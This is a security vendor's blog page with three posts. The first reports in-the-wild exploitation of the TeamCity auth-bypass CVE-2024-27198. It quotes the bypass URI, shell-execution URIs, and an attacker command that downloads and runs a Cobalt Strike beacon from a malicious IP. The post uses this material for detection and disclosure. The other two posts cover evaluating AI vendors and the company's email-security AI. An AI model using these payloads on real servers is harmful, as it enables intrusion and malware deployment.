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August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst
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Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response.

/hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

  • Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same  vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.
Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

  • Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
  • Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released  [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC -     Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI  -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst

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May 27, 2026

How to Evaluate AI Vendors: 5 Key categories for AI Adoption

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Understanding the AI buyers’ market

AI adoption has become a central topic of discussion in boardrooms, drawing growing interest from business leaders. Ultimately, organizations hope that an investment in AI technology will have tremendous returns. However, the process of buying an AI solution is not as straight forward as it appears on the surface.  

While business leaders may be eager to improve productivity across their operations, practitioners responsible for evaluating and selecting AI solutions may not always have the visibility or technical understanding needed to make the right decisions for their business. What is typically marketed as a holistic solution to their most critical problems is usually followed by uncertainty when AI tools are finally operationalized in real environments.

This guide is intended to support security leaders who are under growing pressure to adopt AI tools while navigating complex terminology, vendor claims, and increasingly crowded buying cycles. Ultimately, the goal is to help organizations evaluate and adopt AI in a safe, effective, and well-governed way. To support this, we’ve structured the evaluation framework across five key categories:

  1. Governance, safety, and data controls
  1. Data gathering and training
  1. Model and technique choice
  1. Performance and accuracy validation    
  1. Interpretability, adjustability, and transparency    

What buying AI looks like in cybersecurity

While investing in AI can bring immense benefits to your security team, first-time buyers of AI cybersecurity solutions may not know where to start. They will have to determine the type of tool they want, know the options available, and evaluate vendors. Research and understanding are critical to ensure purchases are worth the investment.  

With acceleration in AI adoption, accompanied by the recent boom in agentic AI and autonomous agents, CISOs must look “beneath the hood" of these tools to understand how they work, how they are governed, and to ensure the system is secure and compliant with internal policies.

Challenges in the AI buyers’ marketplace  

The AI security software market is buzzing with hype and flashy promises, which, understandably, needs to be addressed with due diligence. Potential buyers, especially in the cybersecurity space, are hesitant when it comes to allowing AI autonomous capabilities across their workflows, and a lack of vendor transparency can exacerbate those feelings.  

Reinforcing this sentiment, research from this year's Darktrace’s State of AI Cybersecurity report shows where confidence and hesitancy emerge amongst potential buyers. On the one hand, security professionals agree that they have good visibility into the logic and reasoning processes their AI solutions use. However, they lack the explainability and trust to allow AI to take independent remedial action.

  • 89% say they have good visibility into the reasoning behind the outputs generated by AI solutions
  • 92% say they need to understand how a defensive AI tool makes decisions before they can trust it
  • Only 14% say they allow AI to act independently, performing autonomous actions without human approval
  • 74% say they are limiting the autonomy of AI taking action in their SOC until explainability improves

Given the desire for trust and explainability we are seeing from buyers, it's important for them to be equipped with the right questions to ask vendors during an assessment or POV of AI tools in order to demystify marketing hype from real operational outcomes.

Below is a list of categories in which buyers can assess AI vendors or AI Service Providers (AISPs) to help reach safe adoption and maximize their ROI.  

5 categories of AI vendor assessment

Darktrace groups these AI-related questions into 5 categories: governance, data and training, model and technique choice, performance validation, and interpretability and adjustability. By asking questions regarding each of these 5 categories, buyers can gain a deeper understanding of how an AISP’s systems work and whether they suit their business requirements.

Governance, safety, and data controls

Governance of AI systems is critical for all AISPs. Whether their platform is based around a single model, or is a more complex, composite AI solution, strong governance is essential to ensure the system is safe, robust, and reliable.

A simple question you could ask is:

What AI governance policies and frameworks do you follow, and/or certifications do you currently maintain?

For more questions you can ask vendors, download the full guide here.

Darktrace is certified to the ISO/IEC 42001 standard, the world’s first AI Management System (AIMS) standard. ISO/IEC 42001 addresses the unique ethical and technical challenges AI poses by setting out a structured way to manage risks such as transparency, accuracy, and misuse. This includes a commitment to ethical AI development, and effective management and monitoring of AI systems both prior to and continually after release.

Data gathering and training

Accurate, meaningful, and unbiased data gathering is the first important step in producing any AI system. An AI model trained using inaccurate, unbalanced, or poor-quality training data will fail to perform optimally.

To alleviate concerns regarding training data quality, a question you could ask is:

What steps do you take to prevent bias in your AI models and training data?

For more questions, download the full guide here.

AISPs should be able to provide information about the steps taken, workflows followed, and auditing performed to reduce AI bias where appropriate. While it’s sometimes impossible to fully remove bias from an AI model, appropriate actions should be taken to mitigate or reduce bias where relevant.

Model and technique choice

Different AI techniques are optimal for different tasks. For example, research from Gartner suggests that relying on a single “one-size-fits-all" model can lead to data gaps, especially in highly specialized domains.

To achieve more accurate and robust AI solutions, AI leaders should move beyond using just one model or technique, embrace composite AI practices, and adopt a holistic AI system perspective.

A straightforward question you could ask is simply:

What type(s) of AI model(s) do you utilize in your solution?

For more questions, download the full guide here.

While specific detailed information about custom systems used by AISPs is likely proprietary, buyers should expect vendors to be able to provide an overview of the broad techniques used. This will allow you as a buyer to determine if the type of model is appropriate for your use case.

Performance and accuracy validation  

Testing and evaluation of performance is essential for all AI systems. Performance analysis should be performed both before release and continually after release to identify potential data or model drift.  

A question you could ask to understand an AISPs testing workflow is:

How do you audit, test, evaluate, verify, and validate your AI model outputs?

For more questions, download the full guide here.

Testing workflows will likely vary depending on the type of model – measurements relevant to one system may not always be relevant to others. Assessment of systems should also extend beyond these standard accuracy and robustness tests, and should also feature physical performance, such as latency and resource consumption.  

Interpretability, adjustability, and transparency  

AI systems are typically a black box, simply providing an output without an explanation of how that output was attained. Interpretability and transparency are critical to ensure that both SOC teams and end-users trust the outputs of a system to be accurate and meaningful.

A question you could ask is:

How do you promote a trust relationship between human analysts and AI outputs?

For more questions, download the full guide here.

In the context of cybersecurity, trust and interpretability are even more essential. This is particularly relevant for generative AI-based systems (including most AI Agents), where the risk of hallucination can reduce trust in responses.

Cybersecurity systems often need to perform autonomous actions to block incoming threats – an email filtering system may hold potentially dangerous emails; a firewall may block malicious inbound connections. If SOC teams can’t trust these systems to perform accurately, these systems may be limited or disabled, critically reducing their defensive power.

Darktrace as an AI-native cybersecurity vendor

Darktrace has been building and applying AI in cybersecurity for over a decade, developing its capabilities alongside an increasingly complex and fast‑moving threat landscape. This experience has resulted in a mature, multi-layered approach to AI, which continuously learns the normal patterns of each organization to understand behavior, interpret context, and identify meaningful deviations — without relying on predefined rules or known attack signatures. Over time, this has enabled a proven behavioral understanding that helps uncover subtle signals of risk that may otherwise be missed.

With the backing of our ISO/IEC 42001 certification, stakeholders, customers, and partners can be confident that Darktrace is responsibly, ethically, and safely developing its AI systems, and managing the use of AI in day-to-day operations in a compliant and secure manner.  

Explore the principles behind Darktrace’s responsible AI approach, informed by collaboration with global experts in academia and governments, detailing how accountability, explainability, and continuous validation are built into its cybersecurity technology.

How Darktrace secures AI systems

Darktrace now brings these capabilities to monitor and respond to risk generated from AI systems across organizations with Darktrace / SECURE AI. This solution analyzes how prompts, agents, and systems are used within the context of each organization, bringing every AI interaction into a single view. This unique approach helps teams understand intent, assess risk, protect sensitive data, and enforce policy across both human and AI agent activity.

Stay up to date

Sign up for the Secure AI Readiness Program here: This gives you exclusive access to the latest news on the latest AI threats, updates on emerging approaches shaping AI security, and insights into the latest innovations, including Darktrace’s ongoing work in this area.

Ready to talk with a Darktrace expert on securing AI? Register here to receive practical guidance on the AI risks that matter most to your business, paired with clarity on where to focus first across governance, visibility, risk reduction, and long-term readiness.  

Further Reading on AI in cybersecurity

When deciding to invest in an AI solution, it’s important to understand what this means for you and your organization. The questions presented here are only a starting point in understanding an AI solution and whether it is appropriate for your use case.  

Gain deeper knowledge on applications of AI in cybersecurity and Darktrace’s multi-layered AI in the AI Arsenal White Paper.

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May 26, 2026

Journey of a Threat: How Multi-Layered AI Works in Darktrace / EMAIL

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Darktrace / EMAIL is an implementation of the Darktrace methodology – a multi-layered AI system built into a single product. As with other Darktrace products, Darktrace / EMAIL learns the expected behaviours of an organization and its employees to identify novel threats and anomalous activity.

The diagram below represents the architecture of Darktrace / EMAIL’s multi-layered AI: a structured visualization of how intelligence is built, step by step, from raw data to actionable insight. Each layer plays a distinct role, feeding into the next: collecting data, understanding behaviour, analysing intent, making decisions, and presenting clear outcomes.

It all starts with an email

In this blog, we’ll follow a malicious email as it passes through the Darktrace / EMAIL system, showing exactly what happens as it travels through each layer of the pyramid, from basic data extraction to AI-powered metric creation, and finally deciding on any autonomous actions.

Let’s take this example email. As an end-user, you can see that this is an obvious extortion attempt where an adversary is threatening legal action if money isn’t paid within 24 hours, but how does Darktrace figure that out?

Part 1: Data Gathering

Processing of an email begins on point-of-transit for all inbound, outbound, or lateral emails. The first step is to extract information directly. This includes taking information from the headers (such as sending and receiving addresses, sender IP address, routing, and authentication protocols), as well as extraction of raw HTML and CSS data from the email itself.

This directly extracted information only allows for immediate surface level analysis, such as identifying signature-based attacks (known malicious addresses / domains), but is insufficient for identifying novel threats, complex attacks, or potential email or vendor compromise. This is where Darktrace’s AI analysis shines.

In this example, the SPF, DKIM, and DMARC authentication all passed successfully, showing that even malicious emails can still bypass these signature-based checks. Even with this success, Darktrace will continue to analyse the email.

Diving deeper into the technical information, we can see further information extracted from the headers, including aggregations from the header information, historical calculations such as the frequency and volume of emails to and from a particular domain, and much more.

Part 2: Social Graphing

Social Graphing involves the analysis of sending and receiving behaviours of different mailboxes to create peer-groups. Mailboxes who often send and receive to and from the same mailboxes, or exhibit other correlated behaviours, will be clustered together using a collection of unsupervised AI clustering systems. These groups may represent uses in the same teams who perform similar activity, groups of external facing mailboxes which often receive unsolicited emails, or groups of VIP users (such as C-suite or executives).

Social graphing is an essential component of Darktrace’s pattern of life analysis. This clustering allows Darktrace to understand the responsibilities of individuals – for example, behaviours which are anomalous for one group of users may be completely expected of another group.

In our example, the email was sent to 3 different users within the organization. As part of the social graphing, an “Association Anomaly” is calculated which indicates the likelihood that these users would receive emails from this user or domain, based on historical patterns.

Part 3: Metric Calculation

Metrics are calculated for every email, representing more complex characteristics of an email which can’t be directly extracted. Darktrace / EMAIL features over 1000 unique metrics, calculated both algorithmically and using an ensemble of AI systems.

Algorithmically calculated (non-AI) metrics include further historical calculations, and counts of features such as code blocks, and hidden text, to name a few.

AI-driven metrics include Inducement Classification which uses Natural Language Processing to identify potential phishing, solicitation, or extortion attempts; Named Entity Recognition to identify PII and other sensitive data within an email to support Data Loss Prevention; and many more.

We can follow our example email through this process and view the outcome of these metric calculations. Looking at the language metrics for this email, we can see that our email has reported a high extortion inducement, along with identification of banking information and language indicating urgency.

Part 4: Evaluation and Combination Engine (models)

Once all metrics have been calculated for an email, it gets sent to an evaluation and combination engine where the metrics are compared against blocks of logic to determine if an email contains a threat. One key model which alerted for this example message was a model to tag and block extortion attempts.

Since our example email has a high inducement score for extortion, along the presence of a bitcoin wallet address in the message, this model alerts. When a model in the engine is activated, actions are taken – in this case adding a tag to the email to flag it as extortion in the console and hold the email to prevent it from reaching the end-user mailbox.

Part 5: Meta-Modelling and Actions

Once the models have been run, the actions are taken against the email. If the email hasn’t been blocked or held, this is the point where it will reach the end-user's mailbox.

In the Darktrace / EMAIL UI, all actions models which alerted for an email and actions taken as a result can be seen. At the top of this page, you can see the alert indicating an extortion attempt along with the action to hold the message.

Alongside this, a meta-classifier is used to calculate an overall anomaly score for each email, based on how much the email differs from the pattern of life for the user. The score of the email is boosted by any actions that have taken place.

Part 6: Campaign Clustering

All emails are passed through the Darktrace / EMAIL campaign clustering system. This system creates clusters based on related features within the emails to identify groups of emails with the same sender or intent.

In our case, the email was identified as part of a campaign, alongside other emails which were also identified as extortion attempts against a small group of recipients.

Email campaigns may have additional actions applied to them if the campaign is deemed malicious, and in this case, you can see that the autonomous response was to hold all emails in the campaign. This means that if an email manages to avoid being blocked in the evaluation and combination engine but gets identified as part of the campaign, the hold action will be applied to it retroactively.

Part 7: Cyber AI Analyst

Darktrace’s Cyber AI Analyst presents key information and anomaly indicators for each email, such as further information about authentication, specific metrics, or other identified anomalies and mismatches.

Cyber AI Analyst can also utilize data from Darktrace / EMAIL to enhance its investigation of incidents from other Darktrace products, correlating relevant information to build a fuller picture. More information about the Cyber AI Analyst is available in the Darktrace AI Arsenal.

Part 8: Data Presentation (UI)

Once all processing has taken place against the email, it is presented in the Darktrace / EMAIL UI. Here, members of the SOC team can investigate incidents and anomalies, interact with malicious emails to see why they were blocked, and much more.

Our email stands out here with its 100 anomaly score. Every email which passes through a Darktrace / EMAIL will undergo the same thorough and rigorous analysis to identify potential risks, apply autonomous actions where required, and will ultimately be assigned a score to be displayed here. By providing a single overall score in the UI, rather than presenting emails in full, Darktrace / EMAIL allows SOC teams to more easily identify which emails are most important to investigate, increasing efficiency and reducing alert fatigue.

Take the next step

Many email security tools on the market that claim to be AI-driven are in fact bolting AI onto attack-centric approaches, which rely on automating the identification of known threats. These approaches struggle, and will continue to struggle, with adapting to novel, AI-generated threats.

By analyzing every email within its deeply integrated, multi-layered AI system, Darktrace / EMAIL is able to identify the subtle threats that others miss. This depth not only improves detection accuracy, but enables confident, autonomous action, giving security teams clearer insight into AI outcomes and greater control while supporting users.

For a full deep dive into each stage of the AI system, check out the white paper: A Guide to the Multi-Layered AI in Darktrace / EMAIL

Learn more about securing AI in your enterprise.

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About the author
Jamie Bali
Technical Author (AI) Developer
Your data. Our AI.
Elevate your network security with Darktrace AI